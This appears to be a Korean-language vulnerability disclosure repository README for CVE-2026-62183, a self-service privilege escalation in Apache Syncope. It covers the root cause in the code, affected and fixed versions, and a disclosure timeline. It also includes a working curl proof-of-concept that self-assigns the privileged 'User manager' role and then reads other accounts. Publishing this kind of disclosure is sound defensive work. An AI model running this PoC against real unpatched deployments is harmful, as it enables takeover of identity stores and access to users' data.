
Apache Syncope: 사용자 셀프 서비스 권한 상승
Apache Syncope의 부적절한 권한 관리(CWE-269). 인증된 하위 권한 사용자가 사용자 셀프 서비스 API를 통해 임의의 역할(role)(및 그룹 멤버십, 외부 리소스, 새로운 영역(realm))을 스스로 부여할 수 있습니다 — 다른 모든 코드 경로에서는 관리자 권한이 필요한 작업이며 — 이를 통해 ID 저장소의 관리자가 될 수 있습니다.
이 저장소는 이 취약점에 대한 기술 참조 자료입니다: 근본 원인, 런타임에서 확인된 개념 증명(PoC), 재현 방법을 다룹니다. 발견 과정에 대한 서술형 기록은 별도로 제공됩니다 (Write-up 참조).
| CVE | CVE-2026-62183 |
| 공급업체 / 제품 | Apache Software Foundation — Apache Syncope |
| 영향을 받는 패키지 | org.apache.syncope.core:syncope-core-workflow-java |
| 분류 | CWE-269 부적절한 권한 관리 (메커니즘: CWE-862 누락된 권한 부여) |
| 심각도 | 중요(Important) (ASF PMC) · CVSS 3.1 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| 영향 범위 | 3.0.0-M0 → 3.0.16 · 4.0.0-M0 → 4.0.6 · 4.1.0-M0 → 4.1.1 |
| 수정 버전 | 4.0.7 / 4.1.2 (SYNCOPE-1983) · 3.0.x는 EOL(수명 종료), 수정 없음 |
| 확인 환경 | 3.0.16 (독립 실행 배포판, JDK 17), Master 도메인 |
Apache Syncope의 사용자 셀프 서비스 업데이트 엔드포인트 PATCH /users/self/{key}는
오직 isAuthenticated()만 요구합니다. 공유 Logic 계층은 "self" 작업에 대한 권한 부여
검사를 건너뛰지만, 데이터 바인더는 여전히 권한이 필요한 요청 필드(roles,
memberships, resources, auxClasses, realm)를 적용합니다. 그 결과는 단순한 권한
상승입니다: 하위 권한 사용자가 권한 있는 역할을 스스로 할당하고 즉시 해당 역할의 권한을
획득합니다 — 충분히 강력한 역할을 사용하면 모든 사용자에 대한 완전한 관리 권한까지
포함합니다. 자체 등록(self-registration)이 활성화된 경우 동일한 결함이 doCreate에도
적용되므로, 인증되지 않은 공격자가 이미 권한이 있는 계정을 등록할 수 있습니다.
다음 사용자 워크플로 어댑터 중 하나가 구성된 경우 취약점이 적용됩니다(공급업체 권고가 이 범위로 한정함):
프로덕션 환경에서 셀프 서비스는 일반적으로 역할 할당을 노출하지 않는 Enduser UI를 통해
구동됩니다. 이 경로에 도달하려면 하위 권한 사용자가 Core REST API를 호출할 수 있어야
합니다. 아래 런타임 PoC는 Apache가 평가 전용으로 문서화하고 시드 데이터(사용자 bellini,
내장 역할 User manager / User reviewer)를 포함하는 **독립 실행 배포판(Standalone
Distribution)**을 사용합니다 — 해당 시드 데이터는 일반 배포 환경에는 존재하지 않습니다.
이는 실제 악용 가능성에 대한 정직한 제약이며, 결함의 정확성에 대한 제약은 아닙니다.
PATCH /users/self/{key}의 요청 흐름:
UserSelfService.update(UserUR) common/.../rest/api/service/UserSelfService.java @PATCH @Path("users/self/{key}")
→ UserSelfLogic.update(...) core/idrepo/logic/.../UserSelfLogic.java
→ AbstractUserLogic.doUpdate(..., self=true)
→ UserDataBinderImpl.update(...) core/provisioning-java/.../data/UserDataBinderImpl.java
1. 엔드포인트는 "누군가 로그인했는가"만 인증합니다 — UserSelfLogic.update:
@PreAuthorize("isAuthenticated() "
+ "and not(hasRole('" + IdRepoEntitlement.ANONYMOUS + "')) "
+ "and not(hasRole('" + IdRepoEntitlement.MUST_CHANGE_PASSWORD + "'))")
public ProvisioningResult<UserTO> update(final UserUR userUR, final boolean nullPriorityAsync) {
...
ProvisioningResult<UserTO> updated = doUpdate(userUR, true, nullPriorityAsync); // self = true
어떤 권한(entitlement)도 요구되지 않습니다(USER_UPDATE, 역할/영역 범위 모두 불필요).
2. self 작업에는 권한 부여 검사가 생략됩니다 — AbstractUserLogic.doUpdate:
protected ProvisioningResult<UserTO> doUpdate(final UserUR userReq, final boolean self, ...) {
...
if (!self) { // self == true: the whole block is skipped
Set<String> authRealms = RealmUtils.getEffective(
AuthContextUtils.getAuthorizations().get(IdRepoEntitlement.USER_UPDATE), ...);
userDAO.securityChecks(authRealms, before.getKey(), before.getRealm(), groups);
}
...
}
3. 바인더는 권한 검사와 무관하게 권한이 필요한 필드를 적용합니다 —
UserDataBinderImpl.update(...)는 요청에서 직접 역할 ADD/DELETE, memberships(...)(그룹)
및 fill(...)(리소스/영역)을 호출자 권한 검사 없이 적용합니다 — 해당 검사는 2단계가
건너뛰는 Logic 계층에 있어야 합니다. 관리자 경로(UserLogic.update,
@PreAuthorize("hasRole('USER_UPDATE')"), doUpdate(..., false, ...))는 실제로
securityChecks를 실행하지만, self 경로는 그렇지 않습니다.
상승된 역할은 인증 시 적용됩니다: AuthDataAccessor.getUserAuthorities(user)는
userDAO.findAllRoles(user)를 순회하며 각 역할의 권한을 합집합으로 결합하므로, 자체
할당된 역할은 사용자의 다음 요청/로그인 시점에 활성화됩니다. 동일한 if (!self)
건너뛰기가 doCreate에도 존재하여 결함이 자체 등록으로 확장됩니다.
요약하면: 두 계층이 각자 상대방이 권한 검사를 수행한다고 가정했습니다. 엔드포인트는 권한
부여를 Logic 계층에 위임했고, Logic 계층은 self에 대해 이를 건너뛰었으며, 바인더는
Logic 계층이 필드를 검증했다고 신뢰했습니다.
역할이 없는 일반 인증 사용자가 내장 권한 역할 User manager(/에 대한 USER_READ
부여)를 스스로 할당한 후 임의의 계정을 읽습니다. 관리자 조치나 특별한 구성이 필요하지
않습니다. 전체 스크립트: poc.sh.
B=http://localhost:9080/syncope/rest
H='-H X-Syncope-Domain:Master -H Accept:application/json -H Content-Type:application/json'
# (setup, admin) create a plain user with NO roles → returns entity.key = $K2
curl -s -u admin:password $H -X POST "$B/users" -d '{"_class":"org.apache.syncope.common.lib.request.UserCR",
"realm":"/","username":"eviluser2","password":"Password123!","mustChangePassword":false,
"plainAttrs":[{"schema":"fullname","values":["E2"]},{"schema":"surname","values":["Two"]},
{"schema":"userId","values":["[email protected]"]}]}'
AUTH="-u eviluser2:Password123!"
# [1] baseline — eviluser2 cannot read another account:
curl -s $AUTH $H -o /dev/null -w '%{http_code}\n' "$B/users/bellini" # -> 403
# [2] THE BUG — eviluser2 self-assigns the existing privileged role "User manager":
curl -s $AUTH $H -X PATCH "$B/users/self/$K2" -d '{"_class":"org.apache.syncope.common.lib.request.UserUR",
"key":"'"$K2"'","roles":[{"operation":"ADD_REPLACE","value":"User manager"}]}' \
-w '%{http_code}\n' # -> 200 ; entity.roles=["User manager"]
# [3] escalated — eviluser2 now reads any account:
curl -s $AUTH $H -o /dev/null -w '%{http_code}\n' "$B/users/bellini" # -> 200
관찰 결과: [1] 403 → [2] 200(역할은 이제 ["User manager"]) → [3] 200.
할당은 유지됩니다(관리자 뷰에서 사용자 확인으로 입증됨). 동일한 요청 형태로
memberships(그룹), resources(외부 시스템으로의 프로비저닝 트리거) 및 새로운 realm도
자체 할당할 수 있습니다.
PoC는 의도적으로 합법적이고 문서화된 API 호출만 사용하여 권한 부여 공백을 입증합니다. 이는 무기화된 익스플로잇이 아닌 최소한의 증명입니다 — 책임 있는 사용을 참조하세요.
Docker 없이, Maven 없이 실행 가능한 런타임 설정(독립 실행 Tomcat + Temurin JDK 17) 및
준비 상태 확인은 BUILD.md를 참조하세요. 그런 다음:
B=http://localhost:9080/syncope/rest ./poc.sh
인증된 모든 사용자 — 최하위 권한의 셀프 서비스 계정을 포함 — 는 정의된 모든 역할의 권한을
스스로 부여할 수 있습니다. 광범위한 USER_* / 관리자 권한을 가진 역할을 사용하면 이는 ID
저장소의 장악으로 이어집니다: 모든 사용자 읽기/수정/삭제, 그리고 resources /
memberships를 통한 연결된 외부 시스템으로의 계정 프로비저닝까지 가능합니다. 자체 등록이
활성화된 경우, 인증되지 않은 공격자가 권한 있는 상태로 직접 등록할 수 있습니다(PR:N,
CVSS 9.8). 실제로 획득되는 권한은 대상 배포 환경에 실제로 정의된 역할에 따라 달라집니다.
4.0.7 / 4.1.2에서 SYNCOPE-1983
("Requiring admin approval for self changes beyond attributes")으로 수정되었습니다.
UserCR / UserUR에 requiresApproval() 술어가 추가되었고(요청이 역할, 멤버십, 그룹,
리소스, 관계(relationship), 연결 계정 또는 사용자/그룹 관리자를 건드릴 때 true), 워크플로
어댑터는 이러한 self 요청을 직접 적용하는 대신 관리자 승인을 거치도록 라우팅합니다.
3.0.x는 수명 종료(EOL)이며 수정을 받지 않습니다 — 영향을 받는 3.0.x 사용자는 지원되는
브랜치로 업그레이드해야 합니다.
| 날짜 (2026) | 이벤트 |
|---|---|
| 6월 28일 | 근본 원인 분석 및 런타임 PoC와 함께 [email protected]에 비공개로 신고 |
| 7월 13일 | Apache Syncope PMC 확인; CVE-2026-62183 예약; 심각도 **중요(important)**로 평가 |
| 7월 20일 | 수정 버전 릴리스(4.0.7 / 4.1.2); 공급업체 권고 및 CVE 레코드 게시 |
CVE 레코드에 따른 발견자: Nic Jones (@NicPWNs) 및 elin kai. 이 저장소는 Nic Jones가 기여한 소스 수준 분석과 런타임 확인 PoC를 문서화합니다.
연구에 대한 서술형 기록 — 방법론, 이 취약점을 표면화한 Apache 프로젝트 감사, 런타임 확인 방법 — 은 제 블로그에 있습니다: Self-Service to Admin: A Privilege Escalation in Apache Syncope.
이 자료는 책임 있는 공개(coordinated disclosure) 절차와 수정 버전 릴리스 이후, 방어 및 교육 목적으로 게시됩니다. PoC는 권한 부여 결함을 입증하기 위해 합법적인 API 호출만 사용하며, 대규모 악용 도구가 아닙니다. 테스트 권한이 없는 시스템에는 사용하지 마십시오. Apache Syncope를 실행 중이라면 4.0.7 / 4.1.2로 업그레이드하거나 3.0.x에서 벗어나십시오.